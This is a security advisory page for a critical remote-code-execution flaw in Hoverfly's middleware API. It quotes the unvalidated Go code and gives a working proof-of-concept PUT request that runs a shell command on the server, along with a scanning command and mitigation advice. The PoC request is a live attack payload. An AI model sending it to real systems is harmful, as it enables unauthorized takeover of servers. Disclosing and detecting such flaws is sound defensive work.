Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementationGHSA-r4h8-hfp2-ggmf
CRITICALFix: SpectoLabs/hoverfly#1203GHSA-r4h8-hfp2-ggmf is a critical-severity (CVSS 9.8) Improper Input Validation vulnerability in github.com/SpectoLabs/hoverfly. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-r4h8-hfp2-ggmf.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/SpectoLabs/hoverflyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its /api/v2/hoverfly/middleware endpoint due to insufficient validation and sanitization in user input.
Details
The vulnerability exists in the middleware management API endpoint /api/v2/hoverfly/middleware.
This issue is born due to combination of three code level flaws:
- Insufficient Input Validation in middleware.go line 94-96:
func (this *Middleware) SetBinary(binary string) error {
this.Binary = binary // No validation of binary parameter here
return nil
}
- Unsafe Command Execution in local_middleware.go line 14-19:
var middlewareCommand *exec.Cmd
if this.Script == nil {
middlewareCommand = exec.Command(this.Binary) // User-controlled binary
} else {
middlewareCommand = exec.Command(this.Binary, this.Script.Name()) // User-controlled binary and script
}
- Immediate Execution During Testing in hoverfly_service.go line 173:
_, err = newMiddleware.Execute(testData) // Executes middleware immediately for testing
POC
- Send the below HTTP PUT request to
http://localhost:8888in order to create our malicious middleware, this will execute a simplewhoamicommand on target. (ADMIN UI/API)
Here, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: /bin/bash /tmp/{hoverfly_script}, and Boom! The malicious script will get executed with Hoverfly's privileges.
PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 101
{
"binary": "/bin/bash",
"script": "whoami"
}
HTTP/1.1 422 Unprocessable Entity
Date: Sat, 12 Jul 2025 15:55:49 GMT
Content-Length: 540
Content-Type: text/plain; charset=utf-8
{"error":"Failed to unmarshal JSON from middleware\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\ninvalid character 'k' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nkr1shna4garwal\n"}
(Here, the user is kr1shna4garwal)
Impact
This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.
Reporter: @kr1shna4garwal
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/SpectoLabs/hoverfly | all versions | No fix |
Affected Products
hoverflyhoverflyResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/SpectoLabs/hoverfly, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of github.com/SpectoLabs/hoverfly for GHSA-r4h8-hfp2-ggmf. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
How to detect GHSA-r4h8-hfp2-ggmf
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-r4h8-hfp2-ggmf -u https://target- Template
- Hoverfly <= 1.11.3 - Remote Code Execution
- Severity
- critical
- Impact
- Unauthenticated attackers can inject arbitrary operating system commands through the middleware API endpoint, achieving complete server compromise.
- Remediation
- Upgrade Hoverfly to a version later than 1.11.3 that properly validates the binary and script parameters in the middleware endpoint.
Template by ProjectDiscovery nuclei-templates (nukunga[seonghyeonJeon]), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-r4h8-hfp2-ggmf in your dependencies?
Find it across Go, including transitive dependencies.